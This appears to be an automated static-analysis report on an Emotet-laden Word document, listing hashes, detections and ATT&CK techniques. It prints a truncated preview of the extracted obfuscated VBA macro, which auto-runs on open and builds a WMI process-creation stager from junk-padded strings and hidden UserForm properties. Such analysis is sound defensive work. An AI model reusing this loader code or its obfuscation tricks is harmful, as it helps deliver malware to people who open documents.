Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 04b6c9562d1ad237…

MALICIOUS

Office (OLE)

233.2 KB Created: 2020-08-14 19:54:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 881621534c4b8fbf6fccc70cdd2b9d69 SHA-1: a14c21c3f9039e472b95d36740de5e76faef1499 SHA-256: 04b6c9562d1ad237ae5e5e7d7c375cffce6ab12dbe8df8b7cdb11c6150f10077
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open auto-execution macro and a UserForm hidden-property command stager. This indicates the document is designed to execute malicious code upon opening. The ClamAV detection explicitly names this as Emotet, a known downloader family. The VBA script likely downloads and executes a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9343215-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9343215-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8149 bytes
SHA-256: 4b0a78118ae568a9116b2d22e79ca63ea488f6f6c4ff3800cb272825913d5d5c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ihcx5o661ffvel0h"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
M2zhb2bg3h7.L_3_zjo9e3cj
End Sub


Attribute VB_Name = "M2zhb2bg3h7"
Attribute VB_Base = "0{DD5C8AB4-EE24-4E07-973A-BFBDADFC562A}{0FD0FBC0-7BA9-4D1A-81EC-080B923C3A27}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function L_3_zjo9e3cj()
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Dg8vl90i_gnx6oneo = M2zhb2bg3h7.HelpContextId + 100
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
F1yed8k52ms7phinc = ChrW(Dg8vl90i_gnx6oneo + (100 + 35) / 9)
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Pc9gjn1gd2mq = "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vi72[snn h7&&2137gb]nJG[ 81sdasd2vnm72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vgm72[snn h7&&2137gb]nJG[ 81sdasd2vt72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v" + F1yed8k52ms7phinc + "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v:72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vin72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v372[snn h7&&2137gb]nJG[ 81sdasd2v272[snn h7&&2137gb]nJG[ 81sdasd2v_72[snn h7&&2137gb]nJG[ 81sdasd2v" + M2zhb2bg3h7.Ogy5fj4wkxjfi994o1 + "72[snn h7&&2137gb]nJG[ 81sdasd2vro72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vce72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2v"
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
T8gt3zq301_jy4 = Azw354d0pcehsen9(Pc9gjn1gd2mq)
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Set Abg9bqm1_xxkgvqy = CreateObject(T8gt3zq301_jy4)
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Piy8cnn_jhwosoa4xv = M2zhb2bg3h7.Qg_la1yd_x70nuya1i.ControlTipText
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
R11gved1azw__e7 = Ulyt9dza1sxe12e1xr + (T8gt3zq301_jy4 + F1yed8k52ms7phinc + M2zhb2bg3h7.Quh9ehed22fon37kxa.ControlTipText + Piy8cnn_jhwosoa4xv)
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Rylzrfpuk7go33ogu = R11gved1azw__e7 + M2zhb2bg3h7.Ogy5fj4wkxjfi994o1
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMk
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.